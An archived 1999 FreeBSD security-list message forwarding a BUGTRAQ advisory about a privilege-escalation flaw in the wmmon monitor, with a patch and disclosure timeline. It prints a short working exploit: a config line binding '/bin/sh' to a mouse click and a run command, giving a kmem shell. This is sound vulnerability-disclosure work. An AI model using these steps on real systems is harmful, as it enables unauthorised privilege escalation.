Date: Tue, 21 Dec 1999 14:52:11 -0600 (CST) From: Igor Roshchin <igor@physics.uiuc.edu> To: security@freebsd.org Cc: kkennawa@physics.adelaide.edu.au Subject: Wmmon under FreeBSD (fwd) Message-ID: <199912212052.OAA29661@alecto.physics.uiuc.edu>
next in thread | raw e-mail | index | archive | help
Don't shoot the messanger :))) Just forwarding this from BUGTRAQ. ----- Forwarded message from Steve Reid ----- From owner-bugtraq@SECURITYFOCUS.COM Tue Dec 21 14:21:23 1999 Return-Path: <owner-bugtraq@SECURITYFOCUS.COM> Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Message-ID: <19991221003643.A7521@grok.localnet> Date: Tue, 21 Dec 1999 00:36:44 -0800 Reply-To: Steve Reid <sreid@SEA-TO-SKY.NET> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Steve Reid <sreid@SEA-TO-SKY.NET> Subject: Wmmon under FreeBSD X-To: BUGTRAQ@SECURITYFOCUS.COM To: BUGTRAQ@SECURITYFOCUS.COM Wmmon is a popular program for monitoring CPU load and other system utilization. It runs as a dockapp under WindowMaker. The FreeBSD version of this program has a feature that can be trivially exploited to gain group kmem in recent installs, or user root in really old installs. This affects the FreeBSD version because under FreeBSD the program must be installed setgid kmem or setuid root in order to access system load information through the memory devices. The Linux version should not be vulnerable because it reads information through procfs which requires no special privileges. Exploit: % id uid=1000(steve) gid=1000(steve) groups=1000(steve) % echo 'left /bin/sh' > ~/.wmmonrc % wmmon -display myworkstation.evilhacker.net:0.0 Monitoring 2 devices for activity. {Left-click on the little window that appears} current stat is :1 $ id uid=1000(steve) gid=1000(steve) egid=2(kmem) groups=2(kmem), 1000(steve) Here is a patch: --- work/wmmon.app/wmmon/wmmon.c.old Thu Dec 2 02:06:55 1999 +++ work/wmmon.app/wmmon/wmmon.c Thu Dec 2 04:20:22 1999 @@ -318,6 +318,8 @@ if (kvmd==NULL) kvmd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, errbuf); if (kvmd==NULL) { fprintf(stderr, "kvm_openfiles: %s\n", errbuf); exit(errno); } + if (setgid(getgid()) != 0) exit(1); /* We're sgid kmem. Give up privs. */ + if (setuid(getuid()) != 0) exit(1); /* If we're suid, give that up too. */ if (kvmd) { if (kvm_nlist(kvmd, nl) >= 0) { struct nlist *nlp; To fix your wmmon binary save the above as wmmon.patch and do this: cd /usr/ports/sysutils/wmmon make patch patch < wmmon.patch make su root make deinstall make reinstall The exploit and patch were tested with wmmon 1.0.b2 installed using the ports tree. Standard disclaimers apply. I first emailed the FreeBSD wmmon port maintainer about this back in February. At that time the program was installed setuid root, giving easy access to user root instead of just group kmem. There was also a buffer overflow on the $HOME variable which could probably be used to access the memory device file descriptors even if privileges were relinquished (which they weren't). The port maintainer acknowledged my email and a message warning of a security vulerability was placed in the pkg/DESCR file but as far as I could tell that was all that was done for some weeks. The port maintainer changed during that time and I guess my email got lost in the switch. I forgot about it until a few weeks ago when I checked the port again. The warning message is gone, the buffer overflow on $HOME is fixed, and the program now installs setgid kmem instead of setuid root. The problem still exists, it has just been reduced from a root exploit to kmem. On Dec. 2nd I again emailed the port maintainer (now a different person) and he acknowledged my email, but as of Dec. 20th the port still appears to be vulnerable. ----- End of forwarded message from Steve Reid ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199912212052.OAA29661>